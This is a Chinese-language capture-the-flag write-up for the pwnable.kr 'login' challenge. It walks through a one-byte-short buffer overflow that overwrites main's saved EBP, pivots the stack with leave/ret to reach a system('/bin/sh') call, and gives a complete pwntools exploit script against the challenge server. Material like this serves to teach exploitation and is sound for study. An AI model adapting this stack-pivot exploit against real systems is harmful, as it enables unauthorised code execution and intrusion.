题目分析
附件下载下来看大小有差不过有1MB,应该是静态链接的程序,送到IDA Pro
中查看,果然,函数多的不能自已,主函数的结构也很复杂:
还好没有strip,main函数200+行,勉强能分析下来
程序的流程如下:
输入Authenticate,
Base64Decode
后送至auth()auth()生成其MD5值并与
f87cd601aa7fedca99018a8be88eda34
若相等则调用
correct()
,给shell
这里有一个输入长度的判断,如下图:
decode后的字符串长度要小于12,这里不妨生成一个长度12的字符串输入进去试试:
发现溢出,下面用GDB
调试,定位溢出点:
可以发现0x43434343
(CCCC
)覆盖了main()
的EBP
,当执行到leave
指令时出错了
leave
相当于以下两条汇编指令:
指令 | 含义 |
---|---|
MOV ESP, EBP | EBP的值赋给ESP,即将栈指针移动至栈底部 |
POP EBP | 弹出保存在栈顶的前一个函数的EBP,即恢复栈桢 |
这里由于出现溢出,main函数保存在栈中的EBP
被CCCC
覆盖
MOV ESP, EBP
指令会把ESP
的值赋为0x43434343
,而这个地址是不合法的,显然不能作为栈的地址,因此会报错
这个溢出的利用方法简单,把main
函数的EBP
覆写为一个可以访问的我们可以控制的值即可
解题思路
构造字符串,将main()
函数EBP
覆写为我们输入的字符串的起点:
input: | junk code | RET | EBP of main |
---|---|---|---|
0811EB40: | 0xdeadbeef | system(“/bin/sh”) | addr of input |
system("/bin/sh")
地址如下:
解题过程
控制EBP
溢出可导致EBP被覆写
控制ESP
MOV ESP, EBP 使ESP也可控
控制EIP
POP EBP 将input前4字节弹出栈
RET 相当于 POP EIP
input的中间4字节会覆写EIP
解题脚本
#!/usr/bin/python
from pwn import *
# context.log_level = 'debug'
# p = process('./login')
p = remote('pwnable.kr',9003)
congz = 0x08049278
input = 0x0811EB40
payload = (p32(0xdeadbeef) + p32(congz) + p32(input)).encode('base64')
p.recvuntil('Authenticate : ')
# gdb.attach(p,'b *0x804930b') # breakpoint at leave
p.sendline(payload)
p.interactive()
More
正如Flag所言,漏洞的利用其实就是一个逐步渗透的过程。